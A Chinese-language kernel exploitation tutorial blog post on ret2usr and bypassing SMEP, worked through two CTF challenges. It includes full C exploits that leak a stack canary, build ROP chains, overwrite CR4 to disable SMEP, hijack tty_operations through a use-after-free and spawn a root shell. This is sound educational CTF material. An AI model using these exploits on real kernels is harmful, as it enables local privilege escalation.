<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Kernel pwn 基礎教程之 ret2usr 與 bypass_smep

    VSole2022-03-16 16:22:25

    一、前言

    在我們的pwn學習過程中,能夠很明顯的感覺到開發人員們為了阻止某些利用手段而增加的保護機制,往往這些保護機制又會引發出新的bypass技巧,像是我們非常熟悉的Shellcode與NX,NX與ROP。而當我們將視角從用戶態放到內核態的時候,便是筆者今天想與大家分享的兩個利用手段:ret2usr與bypass_smep。

    二、ret2usr利用介紹

    ret2usr的資料在網上其實并不算多,究其原因是其利用手法相對簡單,其本意是利用了內核空間可以訪問用戶空間這個特性來定向內核代碼或數據流指向用戶空間,并以ring0的特權級在用戶空間完成提權操作。

    三、ret2usr例題講解

    這次以Kernel ROP那一篇中介紹過的例題"2018年強網杯 core"來對ret2usr利用手段進行講解,具體的題目分析在之前的篇章中已經做過具體分析,這邊只是簡單概述一下模塊內容。

    在core_ioctl函數中定義的三種功能
    0x6677889B:執行core_read函數,存在內存信息泄露,可用來leak canary
    0x6677889C:對全局變量off賦值,可用來控制core_read函數中的內存偏移,從而造成泄露問題
    0x6677889A:執行core_copy_func函數,配合core_write函數以及對復制的內容長度不嚴謹從而造成棧溢出隱患
    

    在前一篇Kernel ROP中我們的利用思路具體如下所示。

    1、保存返回用戶態所需的寄存器信息
    2、利用core_read leak canary
    3、通過/tmp/kallsyms中的信息獲取函數地址與計算ropgadget的偏移
    4、利用core_copy_func函數存在的棧溢出控制內核程序流完成提權并返回用戶態執行shell
    

    而本篇的ret2usr中我們的利用思路則發生了些許的改變,原先第四步中我們通過劫持內核程序流并構造ropchain來完成的提權步驟,現在我們修改提權方式,控制內核程序流訪問user space中的函數指針來完成提權操作,在我們的exp中構建如下的函數。

    void beroot() {
     char* (*func1) (int) = prepare_kernel_cred;
     void (*func2) (char*) = commit_creds;
     (*func2)((*func1)(0));
    }
    

    可以看到我們通過函數指針的方式在用戶空間執行了commit_creds(prepare_kernel_cred(0)),能過做到這樣的本質原因是因為我們在劫持程序流程的時候處在ring0權限,并且因為SMEP保護未開啟的原因我們可以從內核空間訪問用戶空間的代碼,所以才能完成提權的操作。

    當我們控制內核程序流在用戶空間完成提權工作以后,就可以返回用戶態并獲取rootShell了,完整EXP如下所示。

    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #define CORE_READ 0x6677889B
    #define SET_OFFSET 0x6677889C
    #define CORE_COPY_FUNC 0x6677889A
    unsigned long long int canary[64] = {0};
    unsigned long long int raw_vmlinux_base = 0xffffffff81000000;
    unsigned long long int commit_creds, prepare_kernel_cred, vmlinux_base;
    unsigned long long int user_cs, user_ss, user_rflags, user_sp;
    void save_status()
    {
        __asm__("mov user_cs, cs;"
                "mov user_ss, ss;"
                "mov user_sp, rsp;"
                "pushf;"
                "pop user_rflags;"
                );
        puts("[*]status has been saved.");
    }
    void beroot() {
     char* (*func1) (int) = prepare_kernel_cred;
     void (*func2) (char*) = commit_creds;
     (*func2)((*func1)(0));
    }
    //ffffffffb8c9c8e0 T commit_creds
    int leak_addr() {
     int idx;
     char buf[1024];
     int fd = open("/tmp/kallsyms", 0);
     if (fd < 0) {
      puts("[-] ERROR.");
      exit(0);
     }
     puts("[+] Leak Address...");
     while (1) {
      int i;
      for (i = 0; i < sizeof(buf); i++) {
       read(fd, buf + i, 1);
       if(buf[i] == '') {
        if (strstr(buf, "commit_creds")) {
         sscanf(buf, "%llx", &commit_creds);
         printf("[+] Find commit_creds_address: 0x%llx", commit_creds);
         vmlinux_base = commit_creds - 0x9c8e0;
         prepare_kernel_cred = vmlinux_base + 0x9cce0;
         return 1;
        }
        else {
         i = 0;
        }
       }
      }
     }
     return 0;
    }
    void leak_canary(int fd) {
     puts("[+] Leak Canary...");
     ioctl(fd, SET_OFFSET, 0x40);
     ioctl(fd, CORE_READ, canary); //core_read+105
     printf("[+] Canary: 0x%llx ", canary[0]);
    }
    void get_shell() {
     if (getuid() == 0) {
      puts("[+] root shell.");
      system("/bin/sh");
     }
    }
    void main() {
     unsigned long long int pop_rdi, pop_rsi, pop_rdx, pop_rcx, mov_rdi_rax, swapgs, iretq, xchg_rax_rdx, offset;
     unsigned long long int rop[0x60];
     int i = 8;
     int fd = open("/proc/core", 'r');
     if (fd <= 0) {
      puts("[-] open filename 'core' ERROR.");
      exit(0);
     }
     save_status();
     leak_addr();
     leak_canary(fd);
     offset = vmlinux_base - raw_vmlinux_base;
     pop_rdi = offset + 0xffffffff81000b2f;
     pop_rsi = offset + 0xffffffff810011d6;
     pop_rdx = offset + 0xffffffff810a0f49;
     pop_rcx = offset + 0xffffffff81021e53;
     swapgs = offset + 0xffffffff81a012da;
     iretq = offset + 0xffffffff81050ac2;
     xchg_rax_rdx = offset + 0xffffffff826684f0; // xchg rax, rdx; ret;
     mov_rdi_rax = offset + 0xffffffff8106a6d2;
     printf("0x%llx", offset);
     rop[i++] = canary[0];
     rop[i++] = 0;
     rop[i++] = (unsigned long long int)beroot;
     rop[i++] = swapgs;
     rop[i++] = 0;
     rop[i++] = iretq;
     rop[i++] = (unsigned long long int)get_shell;
     rop[i++] = user_cs;
     rop[i++] = user_rflags;
     rop[i++] = user_sp;
     rop[i++] = user_ss;
     write(fd, rop, sizeof(rop));
     ioctl(fd, CORE_COPY_FUNC, 0xffffffffffff0000|0x100);
    }
    

    四、bypass_smep原理介紹

    ret2usr利用最根本的原因是因為內核態可以任意訪問用戶態的數據,從而造成了被利用的風險。而SMEP對于ret2usr正如NX與Shellcode一樣有效的降低了被利用的風險。

    SMEP(Supervisormode execution protection,SMEP)機制的作用是,當進程在內核模式下運行時,該防御機制會將頁表中的所有用戶空間的內存頁標記為不可執行的。在內核中,這個功能可以通過設置控制寄存器CR4的第20位來啟用。在啟動時,可以通過在-cpu選項下加入+smep來啟用該防御機制,通過在-append選項下加入nosmep來禁用該機制。

    由于SMEP保護使得內核空間無法訪問用戶空間的內容,從而使得ret2usr的利用變得不可行。但是正如我們開頭所說的那樣,保護機制的誕生會演化出新的bypass技巧。系統根據CR4寄存器中第二十位的值來判斷SMEP保護是否開啟,1為開啟0為關閉。

    而CR4寄存器我們是可以通過gadget來對里面的值進行修改的,為了關閉SMEP常用的固定值0x6f0,即mov CR4, 0x6f0。

    五、bypass_smep例題講解

    同樣是前面文章所提到過的2017-CISCN-babydriver,在前面的學習中我們利用Kernel UAF的方式完成了提權操作,而本次我們所要學習的就是劫持程序流關閉SMEP保護以后,利用前面所學習的ret2usr完成提權操作并獲取rootshell。

    在分析利用思路之前,我們需要引入一個新的結構體tty_struct。這是一個在打開/dev/ptmx設備時會分配的結構體,源碼如下所示。

    struct tty_struct {
        int magic;
        struct kref kref;
        struct device *dev;
        struct tty_driver *driver;
        const struct tty_operations *ops;
        int index;
        /* Protects ldisc changes: Lock tty not pty */
        struct ld_semaphore ldisc_sem;
        struct tty_ldisc *ldisc;
        struct mutex atomic_write_lock;
        struct mutex legacy_mutex;
        struct mutex throttle_mutex;
        struct rw_semaphore termios_rwsem;
        struct mutex winsize_mutex;
        spinlock_t ctrl_lock;
        spinlock_t flow_lock;
        /* Termios values are protected by the termios rwsem */
        struct ktermios termios, termios_locked;
        struct termiox *termiox;    /* May be NULL for unsupported */
        char name[64];
        struct pid *pgrp;       /* Protected by ctrl lock */
        struct pid *session;
        unsigned long flags;
        int count;
        struct winsize winsize;     /* winsize_mutex */
        unsigned long stopped:1,    /* flow_lock */
                  flow_stopped:1,
                  unused:BITS_PER_LONG - 2;
        int hw_stopped;
        unsigned long ctrl_status:8,    /* ctrl_lock */
                  packet:1,
                  unused_ctrl:BITS_PER_LONG - 9;
        unsigned int receive_room;  /* Bytes free for queue */
        int flow_change;
        struct tty_struct *link;
        struct fasync_struct *fasync;
        wait_queue_head_t write_wait;
        wait_queue_head_t read_wait;
        struct work_struct hangup_work;
        void *disc_data;
        void *driver_data;
        spinlock_t files_lock;      /* protects tty_files list */
        struct list_head tty_files;
    #define N_TTY_BUF_SIZE 4096
        int closing;
        unsigned char *write_buf;
        int write_cnt;
        /* If the tty has a pending do_SAK, queue it here - akpm */
        struct work_struct SAK_work;
        struct tty_port *port;
    } __randomize_layout;
    

    而其中有一個非常有用的結構體tty_operations,其源碼如下所示,不難看出其中含有大量的函數指針供我們使用。所以我們可以使用一種類似于FSOP中偽造vtable表的方式來偽造這個結構體使其可以控制內核程序流。

    struct tty_operations {
        struct tty_struct * (*lookup)(struct tty_driver *driver,
                struct file *filp, int idx);
        int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
        void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
        int  (*open)(struct tty_struct * tty, struct file * filp);
        void (*close)(struct tty_struct * tty, struct file * filp);
        void (*shutdown)(struct tty_struct *tty);
        void (*cleanup)(struct tty_struct *tty);
        int  (*write)(struct tty_struct * tty,
                  const unsigned char *buf, int count);
        int  (*put_char)(struct tty_struct *tty, unsigned char ch);
        void (*flush_chars)(struct tty_struct *tty);
        int  (*write_room)(struct tty_struct *tty);
        int  (*chars_in_buffer)(struct tty_struct *tty);
        int  (*ioctl)(struct tty_struct *tty,
                unsigned int cmd, unsigned long arg);
        long (*compat_ioctl)(struct tty_struct *tty,
                     unsigned int cmd, unsigned long arg);
        void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
        void (*throttle)(struct tty_struct * tty);
        void (*unthrottle)(struct tty_struct * tty);
        void (*stop)(struct tty_struct *tty);
        void (*start)(struct tty_struct *tty);
        void (*hangup)(struct tty_struct *tty);
        int (*break_ctl)(struct tty_struct *tty, int state);
        void (*flush_buffer)(struct tty_struct *tty);
        void (*set_ldisc)(struct tty_struct *tty);
        void (*wait_until_sent)(struct tty_struct *tty, int timeout);
        void (*send_xchar)(struct tty_struct *tty, char ch);
        int (*tiocmget)(struct tty_struct *tty);
        int (*tiocmset)(struct tty_struct *tty,
                unsigned int set, unsigned int clear);
        int (*resize)(struct tty_struct *tty, struct winsize *ws);
        int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
        int (*get_icount)(struct tty_struct *tty,
                    struct serial_icounter_struct *icount);
        void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
    #ifdef CONFIG_CONSOLE_POLL
        int (*poll_init)(struct tty_driver *driver, int line, char *options);
        int (*poll_get_char)(struct tty_driver *driver, int line);
        void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
    #endif
        int (*proc_show)(struct seq_file *, void *);
    } __randomize_layout;
    

    那么具體應該怎么利用呢?首先我們需要注意到的就是在本題環境中tty_struct結構體占0x260字節大小,所以我們可以利用題目中存在的UAF漏洞泄露出結構體的部分內容并修改其中的tty_operations指向我們偽造的結構體fake_tty_ops并在其中布置好相應的ropchain即可完成最終的利用。

    但是這樣的話又會產生一個問題,我們偽造的tty_operations結構體中應該怎么布局才可以呢?我們不妨寫一個簡單的測試代碼通過動調的方式來理解,具體的代碼如下所示。

    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    void main() {
        int fd1 = open("/dev/babydev", O_RDWR);
        int fd2 = open("/dev/babydev", O_RDWR);
        // UAF
        ioctl(fd1, 0x10001, 0x2e0);
        close(fd1);
        // fake struct
        size_t fake_tty_struct[32];
        size_t fake_tty_ops[32];
        fake_tty_ops[0] = 0xffffffffc0000130;
        fake_tty_ops[1] = 0xffffffffc0000130;
        fake_tty_ops[2] = 0xffffffffc0000130;
        // fake_tty_ops[7] = mov_rsp_rax;
        fake_tty_ops[7] = 0xffffffffc0000130;
        // close smep --> ret2usr --> get root's shell
        int fd_tty = open("/dev/ptmx", O_RDWR);
        read(fd2, fake_tty_struct, 32);
        fake_tty_struct[3] = (size_t)fake_tty_ops;
        write(fd2, fake_tty_struct, 32);
        write(fd_tty, "AMALLL", 6);
    }
    

    然后我們將寫好的demo靜態編譯完成后,使用gdb腳本調試,創建gdbint文件并寫入如下內容,最后在qemu啟動腳本中添加-s選項并另開shell窗口執行gdb -x gdbinit即可動調。

    file vmlinux
    add-symbol-file babydriver.ko 0xffffffffc0000000
    b babyread
    target remote :1234
    continue
    

    上面的demo中我們偽造了tty_operations結構體中write函數指針為babyread函數地址,并且通過動調我們可以發現rax寄存器正是我們所偽造的fake_tty_operations結構體的地址,那么如果我們將tty_operations結構體中write函數指針位置放置諸如 mov rsp ,rax; 一類的gadget,則可以劫持棧指針到我們的fake_tty_operations地址處,我們再在偽造的結構體開頭布置上二次棧遷移的gadget控制rsp指向我們布置的ropchain上,那么就可以執行關閉SMEP的rop,然后我們就可以利用前面介紹的ret2usr rop進行提權利用啦。

    EXP.C

    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    size_t user_cs, user_ss, user_rflags, user_sp;
    size_t commit_creds = 0xffffffff810a1420;
    size_t prepare_kernel_cred = 0xffffffff810a1810;
    size_t pop_rdi = 0xffffffff810d238d;
    size_t mov_cr4 = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
    size_t swapgs = 0xffffffff81063694;  // swapgs; pop rbp; ret;
    size_t iretq = 0xffffffff814e35ef;
    size_t pop_rax = 0xffffffff8100ce6e;
    size_t mov_rsp_rax = 0xffffffff8181bfc5; // mov rsp,rax ; dec ebx ; ret
    void save_status() {
        __asm__("mov user_cs, cs;"
                "mov user_ss, ss;"
                "mov user_sp, rsp;"
                "pushf;"
                "pop user_rflags;"
                );
        puts("[*]status has been saved.");
    }
    void beroot() {
        char* (*func1)(int) = (char* (*)(int))prepare_kernel_cred;
        void (*func2)(char*) = (void (*)(char *))commit_creds;
        (*func2)((*func1)(0));
    }
    void getshell() {
        if (getuid() == 0) {   
            puts("[+] root now.");
            system("/bin/sh");
        }else {
            puts("[-] Get shell error.");
            exit(0);
        }
    }
    void main() {
        
        save_status();
        int fd1 = open("/dev/babydev", O_RDWR);
        int fd2 = open("/dev/babydev", O_RDWR);
        // UAF
        ioctl(fd1, 0x10001, 0x2e0);
        close(fd1);
        // set ropchain
        size_t rop[0x30] = {0};
        int i = 0;
        rop[i++] = pop_rdi;
        rop[i++] = 0x6f0;
        rop[i++] = mov_cr4;
        rop[i++] = 0;
        rop[i++] = (size_t)beroot;
        rop[i++] = swapgs;
        rop[i++] = 0;
        rop[i++] = iretq;
        rop[i++] = (size_t)getshell;
        rop[i++] = user_cs;
        rop[i++] = user_rflags;
        rop[i++] = user_sp;
        rop[i++] = user_ss;
        // fake struct
        size_t fake_tty_struct[32];
        size_t fake_tty_ops[32];
        fake_tty_ops[0] = pop_rax;
        fake_tty_ops[1] = (size_t)rop;
        fake_tty_ops[2] = mov_rsp_rax;
        fake_tty_ops[7] = mov_rsp_rax;
        // close smep --> ret2usr --> get root's shell
        int fd_tty = open("/dev/ptmx", O_RDWR);
        read(fd2, fake_tty_struct, 32);
        fake_tty_struct[3] = (size_t)fake_tty_ops;
        write(fd2, fake_tty_struct, 32);
        write(fd_tty, "AMALLL", 6);
    }
    

    六、總結

    筆者分享的兩種利用方式都不算困難,但是需要注意的是在編譯exploit時請使用Ubuntu 16.04的環境,筆者嘗試使用Ubuntu 20 與 18的環境編譯exploit最終執行階段都無法完成提權操作。同時在做Kernel題目的時候會明顯的感覺自己的知識樹儲備不夠,這里筆者推薦《操作系統真象還原》這本書,里面不管是案例還是講解都非常有趣,相信你一定能從這本書中有所收獲。

    charchar函數
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    無意中看到ch1ng師傅的文章覺得很有趣,不得不感嘆師傅太厲害了,但我一看那長篇的函數總覺得會有更騷的東西,所幸還真的有,借此機會就發出來一探究竟,同時也不得不感慨下RFC文檔的妙處,當然本文針對的技術也僅僅只是在流量層面上waf的繞過。Pre很神奇對吧,當然這不是終點,接下來我們就來一探究竟。前置這里簡單說一下師傅的思路部署與處理上傳war的servlet是?
    記一次網站滲透過程
    2022-09-13 08:37:27
    前幾天記錄某一次無意點開的一個小網站的滲透過程,幸運的是搭建平臺是phpstudy,cms是beecms,beecms有通用漏洞,然后去網上找了資料,成功getshell并獲取服務器權限。
    一、序言 記錄某一次無意點開的一個小網站的滲透過程,幸運的是搭建平臺是phpstudy,cms是beecms,beecms有通用漏洞,然后去網上找了資料,成功getshell并獲取服務器權限。 二、滲透過程 1. 無意點開一個網站,發現網站比較小,且看起來比較老,然后發現logo沒有改,于是乎去百度搜索這個cms,發現有通用漏洞,這里貼一個鏈接:Beecms 通用漏洞(https://lin
    釣魚小技巧-XLM
    2022-01-21 21:30:11
    隨后保存為啟用宏的文檔。而在實戰環境中,我們更關注的是能否執行我們的shellcode。
    前言最近一段時間在研究Android加殼和脫殼技術,其中涉及到了一些hook技術,于是將自己學習的一些hook技術進行了一下梳理,以便后面回顧和大家學習。主要是進行文本替換、宏展開、刪除注釋這類簡單工作。所以動態鏈接是將鏈接過程推遲到了運行時才進行。
    最近在分析JDK7u21的Gadgets,有兩個不解之處,閱讀前輩們的文章發現并未提起。1.為什么有的POC入口是LinkedHashSet,有的是HashSet,兩個都可以觸發嗎?
    依賴于特定硬件環境的固件無法完整模擬,需要hook掉其中依賴于硬件的函數。LD_PRELOAD的劫持對于特定函數的劫持技術分為動態注入劫持和靜態注入劫持兩種。網上針對LD_PRELOAD的劫持也有大量的描述
    這里根據紅日安全PHP-Audit-Labs對一些函數缺陷的分析,從PHP內核層面來分析一些函數的可利用的地方,標題所說的函數缺陷并不一定是函數本身的缺陷,也可能是函數在使用過程中存在某些問題,造成了漏洞,以下是對部分函數的分析
    關于堆棧ShellCode操作:基礎理論002-利用fs寄存器尋找當前程序dll的入口:從動態運行的程序中定位所需dll003-尋找大兵LoadLibraryA:從定位到的dll中尋找所需函數地址004-被截斷的shellCode:加解密,解決shellCode的零字截斷問題
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类